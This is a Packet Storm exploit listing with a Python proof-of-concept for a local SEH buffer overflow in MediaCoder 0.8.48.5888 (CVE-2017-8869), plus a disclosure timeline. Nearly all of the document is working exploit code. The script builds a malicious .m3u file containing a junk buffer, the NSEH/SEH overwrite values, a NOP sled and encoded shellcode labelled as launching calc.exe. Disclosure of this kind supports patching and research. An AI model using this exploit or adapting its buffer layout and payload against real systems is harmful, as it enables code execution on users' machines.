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packetstormMuhann4dPACKETSTORM:143527
HistoryJul 27, 2017 - 12:00 a.m.

MediaCoder 0.8.48.5888 Local Buffer Overflow

2017-07-2700:00:00
Muhann4d
packetstormsecurity.com
28

0.181 Low

EPSS

Percentile

96.2%

`#!/usr/bin/python  
# Exploit Title : MediaCoder 0.8.48.5888 Local Buffer Overflow (SEH)  
# CVE : CVE-2017-8869  
# Exploit Author : Muhann4d @0xSecured  
# Vendor Homepage : http://www.mediacoderhq.com  
# Vulnerable Software: http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.48.5888.exe  
# Vulnerable Version : 0.8.48.5888  
# Fixed version : 0.8.49.5890 http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.49.5890.exe  
# Category : Local Buffer Overflow  
# Tested on OS : Windows 7 Pro SP1 32bit  
# How to : Open MediaCoder then drag & drop the .m3u file in it and then press the START button.  
# or just write click on the .mu3 file .. open with .. MediaCoder  
# Timeline :   
# 2017-05-05: Vulnerability discovered, vendor has been contaced  
# 2017-05-08: Vendor replied denying it .."I believe this was an old issue and no longer exists in the latest version"   
# 2017-05-09: A POC sent to the vendor.  
# 2017-05-11: New version is released. According to http://blog.mediacoderhq.com/changelog/  
# 2017-06-26: Exploit released.  
  
print "MediaCoder 0.8.48.5888 Local Exploit By Muhann4d @0xSecured"  
from struct import pack  
  
junk = "http://" + "\x41" * 361  
nseh = pack('<I',0x909006eb)  
seh = pack('<I',0x66017187)  
nops= "\x90" * 20  
#calc.exe  
shell=("\xbe\xb6\x06\x32\x7a\xda\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"  
"\x31\x31\x72\x13\x03\x72\x13\x83\xea\x4a\xe4\xc7\x86\x5a\x6b"  
"\x27\x77\x9a\x0c\xa1\x92\xab\x0c\xd5\xd7\x9b\xbc\x9d\xba\x17"  
"\x36\xf3\x2e\xac\x3a\xdc\x41\x05\xf0\x3a\x6f\x96\xa9\x7f\xee"  
"\x14\xb0\x53\xd0\x25\x7b\xa6\x11\x62\x66\x4b\x43\x3b\xec\xfe"  
"\x74\x48\xb8\xc2\xff\x02\x2c\x43\xe3\xd2\x4f\x62\xb2\x69\x16"  
"\xa4\x34\xbe\x22\xed\x2e\xa3\x0f\xa7\xc5\x17\xfb\x36\x0c\x66"  
"\x04\x94\x71\x47\xf7\xe4\xb6\x6f\xe8\x92\xce\x8c\x95\xa4\x14"  
"\xef\x41\x20\x8f\x57\x01\x92\x6b\x66\xc6\x45\xff\x64\xa3\x02"  
"\xa7\x68\x32\xc6\xd3\x94\xbf\xe9\x33\x1d\xfb\xcd\x97\x46\x5f"  
"\x6f\x81\x22\x0e\x90\xd1\x8d\xef\x34\x99\x23\xfb\x44\xc0\x29"  
"\xfa\xdb\x7e\x1f\xfc\xe3\x80\x0f\x95\xd2\x0b\xc0\xe2\xea\xd9"  
"\xa5\x13\x1a\xd0\x33\x83\x85\x81\x7e\xc9\x35\x7c\xbc\xf4\xb5"  
"\x75\x3c\x03\xa5\xff\x39\x4f\x61\x13\x33\xc0\x04\x13\xe0\xe1"  
"\x0c\x70\x67\x72\xcc\x59\x02\xf2\x77\xa6")  
  
junkD = "D" * (2960 - (len(junk + nseh + seh + nops + shell)))  
exploit = junk + nseh + seh + nops + shell + junkD  
  
try:  
file= open("Exploit.m3u",'w')  
file.write(exploit)  
file.close()  
raw_input("\nExploit has been created!\n")  
except:  
print "There has been an Error"  
  
`

0.181 Low

EPSS

Percentile

96.2%